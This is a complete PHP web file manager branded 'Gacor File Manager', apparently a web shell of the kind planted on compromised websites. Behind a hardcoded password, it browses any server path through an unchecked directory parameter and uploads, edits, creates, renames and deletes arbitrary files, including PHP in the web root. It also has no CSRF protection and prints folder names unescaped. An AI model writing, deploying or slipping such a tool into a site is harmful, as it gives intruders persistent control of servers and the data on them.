<?php
session_start();

// Konfigurasi Password
$password = 'ramdanganteng';

// Logika Login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
    if ($_POST['password'] === $password) {
        $_SESSION['logged_in'] = true;
    } else {
        $login_error = "Password salah!";
    }
}

// Cek Sesi Login
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
?>
    <!DOCTYPE html>
    <html lang="en">

    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Login - Gacor Manager</title>
        <style>
            body {
                margin: 0;
                font-family: 'Segoe UI', sans-serif;
                background: linear-gradient(-45deg, #0f0c29, #302b63, #24243e, #00d2ff);
                background-size: 400% 400%;
                animation: gradient 10s ease infinite;
                height: 100vh;
                display: flex;
                justify-content: center;
                align-items: center;
                color: white;
            }

            @keyframes gradient {
                0% {
                    background-position: 0% 50%;
                }

                50% {
                    background-position: 100% 50%;
                }

                100% {
                    background-position: 0% 50%;
                }
            }

            .login-box {
                background: rgba(255, 255, 255, 0.1);
                backdrop-filter: blur(15px);
                padding: 40px;
                border-radius: 20px;
                box-shadow: 0 15px 35px rgba(0, 0, 0, 0.5);
                border: 1px solid rgba(255, 255, 255, 0.1);
                width: 320px;
                text-align: center;
            }

            .login-box input {
                width: 100%;
                padding: 12px;
                margin: 10px 0;
                border: none;
                border-radius: 10px;
                background: rgba(255, 255, 255, 0.2);
                color: white;
                box-sizing: border-box;
                outline: none;
            }

            .login-box button {
                width: 100%;
                padding: 12px;
                margin-top: 15px;
                border: none;
                border-radius: 10px;
                background: #00d2ff;
                color: white;
                font-weight: bold;
                cursor: pointer;
                transition: 0.3s;
            }

            .login-box button:hover {
                background: #008cff;
                transform: scale(1.03);
            }

            .error {
                color: #ff4d4d;
                font-size: 14px;
                margin-top: 10px;
            }
        </style>
    </head>

    <body>
        <div class="login-box">
            <h2>LOGIN ACCESS</h2>
            <form method="POST">
                <input type="password" name="password" placeholder="Password" required>
                <button type="submit" name="login">LOGIN NOW</button>
            </form>
            <?php if (isset($login_error)) echo "<p class='error'>$login_error</p>"; ?>
        </div>
    </body>

    </html>
<?php
    exit;
}

// --- FUNGSI CORE (TETAP UTUH & DITAMBAH) ---

function list_files($dir)
{
    if (is_dir($dir)) {
        $files = scandir($dir);
        return array_diff($files, array('.', '..'));
    }
    return [];
}

function delete_file($file)
{
    if (file_exists($file)) {
        is_dir($file) ? rmdir($file) : unlink($file);
    }
}

function rename_file($old_name, $new_name)
{
    if (!file_exists($new_name)) {
        rename($old_name, $new_name);
    } else {
        return 'File already exists';
    }
}

function upload_file($target_dir, $file)
{
    if (isset($file['tmp_name'])) {
        move_uploaded_file($file['tmp_name'], $target_dir . '/' . $file['name']);
    }
}

function edit_file($file, $content)
{
    file_put_contents($file, $content);
}

// Navigasi & Path
$root_dir = realpath($_SERVER['DOCUMENT_ROOT']);
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir;
$action = isset($_GET['action']) ? $_GET['action'] : '';

// --- HANDLER ACTION (FITUR LAMA + BARU) ---

if ($action === 'delete' && isset($_GET['file'])) {
    delete_file($dir . '/' . $_GET['file']);
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

if ($action === 'rename' && isset($_GET['old_name']) && isset($_POST['new_name'])) {
    rename_file($dir . '/' . $_GET['old_name'], $dir . '/' . $_POST['new_name']);
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

if (isset($_POST['upload'])) {
    upload_file($dir, $_FILES['file']);
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

if ($action === 'edit' && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
    edit_file($dir . '/' . $_POST['file'], $_POST['content']);
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

// Fitur Baru: Create File
if (isset($_POST['create_file'])) {
    $new_file = $dir . '/' . $_POST['filename'];
    if (!file_exists($new_file)) {
        file_put_contents($new_file, '');
        header("Location: ?dir=" . urlencode($dir));
        exit;
    }
}

// Fitur Baru: Create Folder
if (isset($_POST['create_folder'])) {
    $new_folder = $dir . '/' . $_POST['foldername'];
    if (!file_exists($new_folder)) {
        mkdir($new_folder);
        header("Location: ?dir=" . urlencode($dir));
        exit;
    }
}

$files_list = list_files($dir);
$directories = glob($dir . '/*', GLOB_ONLYDIR);
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Gacor File Manager V2</title>
    <style>
        body {
            margin: 0;
            font-family: 'Segoe UI', sans-serif;
            background: #0f0c29;
            background: linear-gradient(135deg, #0f0c29, #302b63, #24243e);
            background-attachment: fixed;
            color: #fff;
            padding: 20px;
        }

        .container {
            max-width: 1200px;
            margin: auto;
            background: rgba(255, 255, 255, 0.03);
            backdrop-filter: blur(12px);
            border-radius: 15px;
            padding: 25px;
            border: 1px solid rgba(255, 255, 255, 0.1);
        }

        h1 {
            font-size: 24px;
            color: #00d2ff;
            text-shadow: 0 0 10px rgba(0, 210, 255, 0.5);
        }

        .breadcrumb {
            background: rgba(0, 0, 0, 0.3);
            padding: 12px;
            border-radius: 8px;
            margin-bottom: 20px;
            font-size: 14px;
        }

        .breadcrumb a {
            color: #00d2ff;
            text-decoration: none;
        }

        .grid-container {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
            gap: 15px;
            margin-bottom: 30px;
        }

        .item-card {
            background: rgba(255, 255, 255, 0.05);
            padding: 15px;
            border-radius: 10px;
            border: 1px solid rgba(255, 255, 255, 0.1);
            transition: 0.3s;
        }

        .item-card:hover {
            background: rgba(255, 255, 255, 0.12);
            transform: translateY(-3px);
        }

        .item-card.folder {
            border-left: 4px solid #f1c40f;
        }

        .item-card.file {
            border-left: 4px solid #00d2ff;
        }

        .item-name {
            font-weight: bold;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
            margin-bottom: 10px;
        }

        .item-name a {
            color: #fff;
            text-decoration: none;
        }

        .btn {
            padding: 6px 12px;
            border-radius: 5px;
            font-size: 11px;
            text-decoration: none;
            color: white;
            font-weight: bold;
            border: none;
            cursor: pointer;
        }

        .btn-del {
            background: #e74c3c;
        }

        .btn-edit {
            background: #f39c12;
        }

        .btn-ren {
            background: #3498db;
        }

        .btn-add {
            background: #2ecc71;
        }

        .control-panel {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
            gap: 20px;
            margin-top: 20px;
            padding: 20px;
            background: rgba(0, 0, 0, 0.2);
            border-radius: 12px;
        }

        .control-item h3 {
            margin-top: 0;
            font-size: 16px;
            color: #00d2ff;
        }

        .control-item input[type="text"],
        .control-item input[type="file"] {
            width: 100%;
            padding: 8px;
            border-radius: 5px;
            border: none;
            background: rgba(255, 255, 255, 0.1);
            color: white;
            margin-bottom: 10px;
            box-sizing: border-box;
        }

        .edit-area {
            width: 100%;
            height: 400px;
            background: #1e1e1e;
            color: #d4d4d4;
            font-family: 'Courier New', monospace;
            padding: 15px;
            border-radius: 10px;
        }
    </style>
</head>

<body>

    <div class="container">
        <h1>🚀 GACOR FILE MANAGER PRO</h1>

        <div class="breadcrumb">
            📁 Path:
            <?php
            $path_parts = explode(DIRECTORY_SEPARATOR, $dir);
            $current_path = '';
            foreach ($path_parts as $part) {
                if (empty($part) && DIRECTORY_SEPARATOR === '/') continue;
                $current_path .= DIRECTORY_SEPARATOR . $part;
                echo '<a href="?dir=' . urlencode($current_path) . '">' . htmlspecialchars($part) . '</a> / ';
            }
            ?>
        </div>

        <h3>Folders</h3>
        <div class="grid-container">
            <?php foreach ($directories as $folder): $f_name = basename($folder); ?>
                <div class="item-card folder">
                    <div class="item-name">📁 <a href="?dir=<?php echo urlencode($folder); ?>"><?php echo $f_name; ?></a></div>
                    <div class="actions-btns">
                        <a href="?dir=<?php echo urlencode($dir); ?>&action=delete&file=<?php echo urlencode($f_name); ?>" class="btn btn-del" onclick="return confirm('Hapus folder?')">Del</a>
                        <a href="?dir=<?php echo urlencode($dir); ?>&action=rename_view&old_name=<?php echo urlencode($f_name); ?>" class="btn btn-ren">Rename</a>
                    </div>
                </div>
            <?php endforeach; ?>
        </div>

        <h3>Files</h3>
        <div class="grid-container">
            <?php foreach ($files_list as $file): if (is_dir($dir . '/' . $file)) continue; ?>
                <div class="item-card file">
                    <div class="item-name">📄 <?php echo htmlspecialchars($file); ?></div>
                    <div class="actions-btns">
                        <a href="?dir=<?php echo urlencode($dir); ?>&action=delete&file=<?php echo urlencode($file); ?>" class="btn btn-del" onclick="return confirm('Hapus file?')">Del</a>
                        <a href="?dir=<?php echo urlencode($dir); ?>&action=rename_view&old_name=<?php echo urlencode($file); ?>" class="btn btn-ren">Rename</a>
                        <a href="?dir=<?php echo urlencode($dir); ?>&action=edit&file=<?php echo urlencode($file); ?>" class="btn btn-edit">Edit</a>
                    </div>
                </div>
            <?php endforeach; ?>
        </div>

        <div class="control-panel">
            <div class="control-item">
                <h3>New File / Folder</h3>
                <form method="POST" style="margin-bottom: 10px;">
                    <input type="text" name="filename" placeholder="Nama file baru (ex: index.php)" required>
                    <button type="submit" name="create_file" class="btn btn-add">CREATE FILE</button>
                </form>
                <form method="POST">
                    <input type="text" name="foldername" placeholder="Nama folder baru..." required>
                    <button type="submit" name="create_folder" class="btn btn-add" style="background: #9b59b6;">CREATE FOLDER</button>
                </form>
            </div>

            <div class="control-item">
                <h3>Upload File</h3>
                <form method="POST" enctype="multipart/form-data">
                    <input type="file" name="file" required>
                    <button type="submit" name="upload" class="btn btn-add" style="width: 100%; padding: 10px;">UPLOAD SEKARANG</button>
                </form>
            </div>
        </div>

        <?php if (isset($_GET['action']) && $_GET['action'] === 'rename_view'): ?>
            <div class="control-panel" style="margin-top:20px; background: rgba(52, 152, 219, 0.2);">
                <div class="control-item">
                    <h3>Rename: <?php echo htmlspecialchars($_GET['old_name']); ?></h3>
                    <form method="POST" action="?dir=<?php echo urlencode($dir); ?>&action=rename&old_name=<?php echo urlencode($_GET['old_name']); ?>">
                        <input type="text" name="new_name" placeholder="Nama baru..." required>
                        <button type="submit" class="btn btn-ren">PROSES RENAME</button>
                        <a href="?dir=<?php echo urlencode($dir); ?>" class="btn btn-del">BATAL</a>
                    </form>
                </div>
            </div>
        <?php endif; ?>

        <?php if ($action === 'edit' && isset($_GET['file'])): ?>
            <div class="control-panel" style="margin-top:20px; display: block;">
                <h3>Editing: <?php echo htmlspecialchars($_GET['file']); ?></h3>
                <form method="POST" action="?dir=<?php echo urlencode($dir); ?>&action=edit">
                    <textarea name="content" class="edit-area"><?php echo htmlspecialchars(file_get_contents($dir . '/' . $_GET['file'])); ?></textarea>
                    <input type="hidden" name="file" value="<?php echo htmlspecialchars($_GET['file']); ?>">
                    <div style="margin-top: 15px;">
                        <button type="submit" class="btn btn-add" style="padding: 10px 20px;">SIMPAN PERUBAHAN</button>
                        <a href="?dir=<?php echo urlencode($dir); ?>" class="btn btn-del" style="padding: 10px 20px;">BATAL</a>
                    </div>
                </form>
            </div>
        <?php endif; ?>

    </div>
</body>

</html>